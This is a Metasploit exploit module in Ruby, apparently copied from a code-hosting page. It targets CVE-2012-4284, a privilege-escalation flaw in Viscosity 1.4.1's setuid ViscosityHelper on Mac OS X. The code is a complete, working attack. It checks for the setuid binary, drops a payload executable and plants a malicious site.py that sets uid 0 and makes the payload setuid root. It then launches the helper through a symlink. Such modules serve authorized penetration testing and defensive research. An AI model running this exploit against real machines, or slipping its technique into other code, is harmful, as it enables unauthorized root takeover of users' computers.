Path: blob/master/modules/exploits/osx/local/setuid_viscosity.rb
32688 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::OSX::Priv9include Msf::Post::File10include Msf::Exploit::EXE1112def initialize(info = {})13super(14update_info(15info,16{17'Name' => 'Viscosity setuid-set ViscosityHelper Privilege Escalation',18'Description' => %q{19This module exploits a vulnerability in Viscosity 1.4.1 on Mac OS X. The20vulnerability exists in the setuid ViscosityHelper, where an insufficient21validation of path names allows execution of arbitrary python code as root.22This module has been tested successfully on Viscosity 1.4.1 over Mac OS X2310.7.5.24},25'References' => [26[ 'CVE', '2012-4284' ],27[ 'OSVDB', '84709' ],28[ 'EDB', '20485' ],29[ 'URL', 'http://blog.zx2c4.com/791' ]30],31'License' => MSF_LICENSE,32'Author' => [33'Jason A. Donenfeld', # Vulnerability discovery and original Exploit34'juan vazquez' # Metasploit module35],36'DisclosureDate' => '2012-08-12',37'Platform' => 'osx',38'SessionTypes' => [ 'shell' ],39'Targets' => [40[ 'Viscosity 1.4.1 / Mac OS X x86', { 'Arch' => ARCH_X86 } ],41[ 'Viscosity 1.4.1 / Mac OS X x64', { 'Arch' => ARCH_X64 } ]42],43'DefaultOptions' => { 'PrependSetresuid' => true, 'WfsDelay' => 2 },44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50}51)52)53register_options [54# These are not OptPath because it's a *remote* path55OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),56OptString.new('Viscosity', [ true, 'Path to setuid ViscosityHelper executable', '/Applications/Viscosity.app/Contents/Resources/ViscosityHelper' ])57]58end5960def base_dir61datastore['WritableDir'].to_s62end6364def check65unless file? datastore['Viscosity']66vprint_error 'ViscosityHelper not found'67return CheckCode::Safe68end6970check = cmd_exec("find #{datastore['Viscosity']} -type f -user root -perm -4000")7172unless check.include? 'ViscosityHelper'73return CheckCode::Safe74end7576CheckCode::Vulnerable77end7879def clean80file_rm(@link)81file_rm(@python_file)82file_rm("#{@python_file}c")83file_rm(@exe_file)84end8586def exploit87if is_root?88fail_with Failure::BadConfig, 'Session already has root privileges'89end9091if check != CheckCode::Vulnerable92fail_with Failure::NotVulnerable, 'Target is not vulnerable'93end9495unless writable? base_dir96fail_with Failure::BadConfig, "#{base_dir} is not writable"97end9899exe_name = rand_text_alpha(8)100@exe_file = "#{base_dir}/#{exe_name}"101print_status("Dropping executable #{@exe_file}")102write_file(@exe_file, generate_payload_exe)103104evil_python = <<~EOF105import os106os.setuid(0)107os.setgid(0)108os.system("chown root #{@exe_file}")109os.system("chmod 6777 #{@exe_file}")110os.execl("#{@exe_file}", "#{exe_name}")111EOF112113@python_file = "#{base_dir}/site.py"114print_status("Dropping python #{@python_file}...")115write_file(@python_file, evil_python)116117print_status('Creating symlink...')118link_name = rand_text_alpha(8)119@link = "#{base_dir}/#{link_name}"120cmd_exec "ln -s -f -v #{datastore['Viscosity']} #{@link}"121122print_status('Running...')123begin124cmd_exec "#{@link}"125rescue StandardError126print_error("Failed. Cleaning files #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}...")127clean128return129end130print_warning("Remember to clean files: #{@link}, #{@python_file}, #{@python_file}c and #{@exe_file}")131end132end133134135